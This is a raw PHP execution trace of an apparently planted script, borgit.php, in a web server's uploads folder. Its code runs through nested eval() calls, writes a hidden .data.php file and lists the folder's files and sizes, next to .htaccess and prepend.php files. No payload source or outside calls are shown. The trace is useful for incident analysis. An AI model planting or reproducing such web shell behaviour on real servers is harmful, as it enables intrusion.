/var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $file_name = '/var/www/html/uploads/data/.data.php' 5 43 0 0.100177 526560 file_put_contents 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 2 '/var/www/html/uploads/data/.data.php' ' '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads'] 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $paths = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads'] 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $id = 0 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $a = TRUE 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $id = 1 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i = 0 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $id = 2 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i = 0 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $id = 3 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i = 0 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $id = 4 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i = 0 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $i++ 4 47 0 0.100660 521424 scandir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads' 4 47 1 0.100689 522088 4 47 R [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '.uploads.php', 4 => 'borgit.php', 5 => 'data', 6 => 'prepend.php'] 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $scandir = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => '.uploads.php', 4 => 'borgit.php', 5 => 'data', 6 => 'prepend.php'] 4 48 0 0.100733 522104 is_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/.' 4 48 1 0.100751 522168 4 48 R TRUE 4 49 0 0.100765 522136 is_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/..' 4 49 1 0.100781 522184 4 49 R TRUE 4 50 0 0.100795 522144 is_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 4 50 1 0.100811 522184 4 50 R FALSE 4 51 0 0.100825 522152 is_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/.uploads.php' 4 51 1 0.100841 522200 4 51 R FALSE 4 52 0 0.100860 522160 is_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/borgit.php' 4 52 1 0.100876 522200 4 52 R FALSE 4 53 0 0.100890 522152 is_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 4 53 1 0.100905 522184 4 53 R TRUE 4 54 0 0.100919 522152 is_dir 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 4 54 1 0.100935 522200 4 54 R FALSE 4 55 0 0.100949 522144 is_file 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/.' 4 55 1 0.100966 522168 4 55 R FALSE 4 56 0 0.100979 522136 is_file 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/..' 4 56 1 0.100995 522184 4 56 R FALSE 4 57 0 0.101008 522144 is_file 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 4 57 1 0.101023 522184 4 57 R TRUE 4 58 0 0.101037 522144 filesize 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/.htaccess' 4 58 1 0.101051 522184 4 58 R 64 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = 0.0625 4 59 0 0.101077 522088 round 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 2 0.0625 3 4 59 1 0.101092 522160 4 59 R 0.063 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = 0.063 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = '0.063 KB' 4 60 0 0.101132 522192 is_file 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/.uploads.php' 4 60 1 0.101148 522240 4 60 R TRUE 4 61 0 0.101161 522200 filesize 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/.uploads.php' 4 61 1 0.101176 522240 4 61 R 3700 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = 3.61328125 4 62 0 0.101200 522096 round 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 2 3.61328125 3 4 62 1 0.101215 522168 4 62 R 3.613 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = 3.613 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = '3.613 KB' 4 63 0 0.101253 522200 is_file 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/borgit.php' 4 63 1 0.101268 522240 4 63 R TRUE 4 64 0 0.101281 522200 filesize 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/borgit.php' 4 64 1 0.101294 522240 4 64 R 8368 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = 8.171875 4 65 0 0.101319 522096 round 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 2 8.171875 3 4 65 1 0.101333 522168 4 65 R 8.172 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = 8.172 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = '8.172 KB' 4 66 0 0.101372 522192 is_file 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/data' 4 66 1 0.101388 522224 4 66 R FALSE 4 67 0 0.101401 522192 is_file 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 4 67 1 0.101417 522240 4 67 R TRUE 4 68 0 0.101430 522200 filesize 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 1 '/var/www/html/uploads/prepend.php' 4 68 1 0.101444 522240 4 68 R 57 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = 0.0556640625 4 69 0 0.101469 522096 round 0 /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 2 0.0556640625 3 4 69 1 0.101483 522168 4 69 R 0.056 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = 0.056 3 A /var/www/html/uploads/borgit.php(4) : eval()'d code(1) : eval()'d code 2 $size = '0.056 KB' 3 12 1 0.101523 522136 2 7 1 0.101535 479448 1 3 1 0.101542 477872 0.101577 397120 TRACE END [2023-02-12 23:26:11.470899]